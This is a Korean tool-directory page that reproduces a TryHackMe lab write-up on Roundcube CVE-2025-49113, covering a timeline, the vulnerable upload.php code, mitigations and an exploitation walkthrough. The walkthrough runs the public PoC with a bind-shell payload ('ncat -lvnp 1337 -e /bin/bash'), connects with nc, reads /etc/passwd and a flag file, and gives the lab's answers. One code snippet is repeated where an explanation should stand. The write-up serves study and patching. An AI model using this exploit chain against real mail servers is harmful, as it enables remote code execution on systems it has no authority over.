Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Roundcube_CVE-2025-49113 — 설명 + THM 랩 | Kitploit
도구/GitHubGitHub/5kr1pt/roundcube_cve-2025-49113
Vulnerability AnalysisExploitationShellcodeWeb Application ExploitationCTFPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHub5kr1pt/roundcube_cve-2025-49113

Roundcube_CVE-2025-49113

설명 + THM 랩

1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

RCE in Roundcube (CVE-2025-49113) - 내 Obsidian 노트 .md

{{date}} {{time}}

Status: 완료

Lab: 쉬움

태그: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]

by KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script


영향: 로그인 후 원격 명령 실행 (CVSS 9.9)
영향받는 버전: ≤ 1.5.10 / 1.6.10
패치됨: 1.5.11 및 1.6.11


1 – 타임라인

날짜이벤트
~2014program/actions/settings/upload.php에 session->append()를 사용하는 경로 도입, 검증 없음.
2025년 6월 3일@FearsOff의 연구원들이 권고를 게시하고 PoC를 발표.
2025년 6월 4일Roundcube가 커밋 0376f69 (1.6-stable) 및 커밋 7408f31 (1.5-lts)를 적용.
2025년 6월 6일PoC가 github에 게시됨. (fearsoff-org/CVE-2025-49113)
2025년 6월 10일대규모 악용.

2 – 문제가 있었던 곳

취약한 코드 (1.6.10)

root@kitploit:~
// program/actions/settings/upload.php 
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);

// … 더 아래
$rcmail->session->append($type . '.files', $id, $attachment);

_from 입력이 GET에서 완전히 들어온 후 세션 노드 이름의 일부가 되고,
첫 번째 append() 중에 Roundcube는 다음을 수행합니다:

root@kitploit:~
// program/actions/settings/upload.php

$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);

$type = preg_replace('/(add|edit)-/', '', $from);

// … 더 아래

$rcmail->session->append($type . '.files', $id, $attachment);

파일이 존재하면 RCE가 작동합니다.


3 – 완화 조치

  1. 업데이트 즉시 1.6.11 이상 또는 1.5.11 이상으로 업데이트하세요.

  2. 업데이트할 수 없는 경우 WAF, 방화벽 또는 rewrite를 통해 %22, %7C, !, . 또는 제어 바이트가 포함된 _from을 차단하세요.

  3. php.ini에서 위험한 함수(proc_open, exec 등)를 비활성화하세요.

  4. 설정 패널에서 업로드를 차단하고 로그를 모니터링하세요.


4 – Lab - TryHackme - WriteUp

무료 룸: https://tryhackme.com/room/roundcubecve202549113

tryhackme & strategos 제작

1. 정찰

  1. VM(MACHINE_IP)과 AttackBox를 엽니다.

  2. http://MACHINE_IP/roundcube에 다음으로 접속합니다:

    사용자: ellieptic 비밀번호: ChangeMe123

    정상 작동하며 정상적으로 로그인됩니다:

    로그인 화면


2. 익스플로잇 구성

모든 것이 정상 작동하는지 확인한 후, 앞서 언급한 github에 게시된 PoC에 접속하여 gitclone을 수행합니다:

root@kitploit:~
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

exploit


3. 페이로드 준비

페이로드 사용법은 간단합니다. 아래 사용법에 따라 bind shell을 생성하고 .php 파일로 포트를 지정하면 됩니다:

php CVE-2025-49113.php <사이트> <사용자> <비밀번호> "<bind shell>"

php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"

– 스크립트가 로그인하고, 앞서 설명한 대로 _from 매개변수에 악성 PHP 객체를 주입하며, upload.php 엔드포인트를 호출한 다음 로그아웃을 강제하여 session_decode() → unserialize() → proc_open()을 트리거합니다.

때때로 CSRF 오류가 표시될 수 있습니다. 무시하고 다음 단계로 진행하세요.
명령은 여전히 실행된 경우가 많습니다.

exploit


4. 셸에 연결

bind shell이 성공하면 전달한 포트 1337에서 수신 대기 중이므로 이제 연결만 하면 됩니다:

nc MACHINE_IP 1337

셸 획득.

shell


5. 질문에 답변하기

질문 및 답변

  1. 사용자 Maggie
    질문: 한 사용자의 이름이 Maggie입니다. 그녀의 성은 무엇인가요?
    답변: Byte

이 질문을 해결하려면 /etc/passwd에서 maggie 사용자를 grep하거나, 간단히 /home에서 ls를 수행하면 됩니다.

1

  1. /etc의 플래그
    질문: /etc에 저장된 플래그 값은 무엇인가요?
    답변: THM{ICE_CUBE_DESERIALISATION}

이를 해결하기 위해 cat /etc/flag*를 실행했고, 운 좋게도 파일 이름이 flag여서 캡처할 수 있었습니다.

2


5 – 참고 자료

  • Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d

  • Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695

  • FearsOff write-up – https://fearsoff.org/research/roundcube

  • OffSec blog – https://www.offsec.com/blog/cve-2025-49113/ offsec.com

  • TryHackme - TryHackMe | Roundcube: CVE-2025-49113

  • GHSA advisory – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com

도구 다운로드